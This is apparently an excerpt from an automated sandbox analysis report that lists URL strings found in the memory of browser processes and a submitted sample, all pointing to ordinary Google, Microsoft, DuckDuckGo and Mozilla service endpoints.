Source: chrome.exe, 0000000B.00000002.2324554616.00001E9000654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324710834.00001E90006D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2322505965.00001E900001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2235760011.00001E90004A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324679295.00001E90006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326039443.00001E90009EC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000002.2471030949.000008C400040000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.16.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: fa201b82-10e8-4a2b-8d09-ec16cd71c292.tmp.18.dr, 6af7d95f-d76a-45be-917e-a577a06ee000.tmp.18.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chrome.exe, 0000000B.00000002.2325747912.00001E9000904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 0000000B.00000002.2325747912.00001E9000904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 0000000B.00000002.2324602200.00001E9000678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: aD7D9fkpII.exe, 00000005.00000002.2777956578.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.000000000433F000.00000004.00000020.00020000.00000000.sdmp, IW4WT2.5.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: aD7D9fkpII.exe, 00000005.00000002.2777956578.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.000000000433F000.00000004.00000020.00020000.00000000.sdmp, IW4WT2.5.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: chrome.exe, 0000000B.00000002.2326295010.00001E9000AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 0000000B.00000002.2323554720.00001E9000310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.goog
Source: chrome.exe, 0000000B.00000002.2323554720.00001E9000310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.googl0
Source: manifest.json0.16.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 0000000B.00000002.2328952527.00001E90012D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/
Source: chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 0000000B.00000002.2326171667.00001E9000A28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 0000000B.00000002.2328952527.00001E90012D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/dogl
Source: chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultlt
Source: chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultult
Source: chrome.exe, 0000000B.00000002.2328952527.00001E90012D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/njb
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325263210.00001E90007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325263210.00001E90007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325263210.00001E90007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 0000000B.00000002.2328952527.00001E90012D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/
Source: chrome.exe, 0000000B.00000003.2270461668.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 0000000B.00000003.2270461668.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328786741.00001E900112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 0000000B.00000003.2270461668.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2329144945.00001E9001549000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 0000000B.00000002.2326256167.00001E9000A70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_defaultjb
Source: chrome.exe, 0000000B.00000002.2328952527.00001E90012D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/ogl
Source: chrome.exe, 0000000B.00000002.2324075991.00001E9000500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000000B.00000002.2329273254.00001E90015F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/
Source: chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328786741.00001E900112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default(
Source: chrome.exe, 0000000B.00000002.2329273254.00001E90015F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/ogl
Source: chrome.exe, 0000000B.00000002.2324075991.00001E9000500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chrome.exe, 0000000B.00000002.2324075991.00001E9000500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actionsCreate
Source: chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actionshic
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 0000000B.00000002.2323554720.00001E9000310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 0000000B.00000002.2323554720.00001E9000310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 0000000B.00000002.2323554720.00001E9000310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.c
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 0000000B.00000002.2323554720.00001E9000310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.go
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 0000000B.00000002.2327305685.00001E9000D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328952527.00001E90012D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 0000000B.00000002.2327305685.00001E9000D64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2/
Source: chrome.exe, 0000000B.00000002.2328952527.00001E90012D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2ation.Result
Source: chrome.exe, 0000000B.00000002.2328952527.00001E90012D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2d
Source: chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2328786741.00001E900112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324679295.00001E90006B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324994448.00001E9000730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: aD7D9fkpII.exe, 00000005.00000002.2774860542.000000000473B000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325263210.00001E90007C0000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, 47GLNG.5.dr, CTJWTJ.5.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: aD7D9fkpII.exe, 00000005.00000002.2774860542.000000000473B000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324994448.00001E9000730000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, 47GLNG.5.dr, CTJWTJ.5.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 0000000B.00000002.2324994448.00001E9000730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: aD7D9fkpII.exe, 00000005.00000002.2774860542.000000000473B000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, 47GLNG.5.dr, CTJWTJ.5.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log6.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: HubApps Icons.16.dr, 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.16.dr, 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: HubApps Icons.16.dr, 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: HubApps Icons.16.dr, 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 000003.log6.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: HubApps Icons.16.dr, 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.16.dr, 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.16.dr, 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: HubApps Icons.16.dr, 7356765f-5cd8-4500-bf3a-671ab4e8ef14.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 000003.log6.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2338391369.0000686000920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2274197468.00001E9001D28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/#
Source: chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/&
Source: chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/(
Source: chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/-
Source: chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0
Source: chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/1
Source: chrome.exe, 0000000B.00000003.2230479936.0000686000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2230318746.000068600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/4
Source: chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/7
Source: chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/:
Source: chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2338391369.0000686000920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2274197468.00001E9001D28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 0000000B.00000003.2230479936.0000686000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2230318746.000068600071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2322559998.00001E9000044000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000002.2472963054.000008C400394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 0000000B.00000002.2324602200.00001E9000678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: IW4WT2.5.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
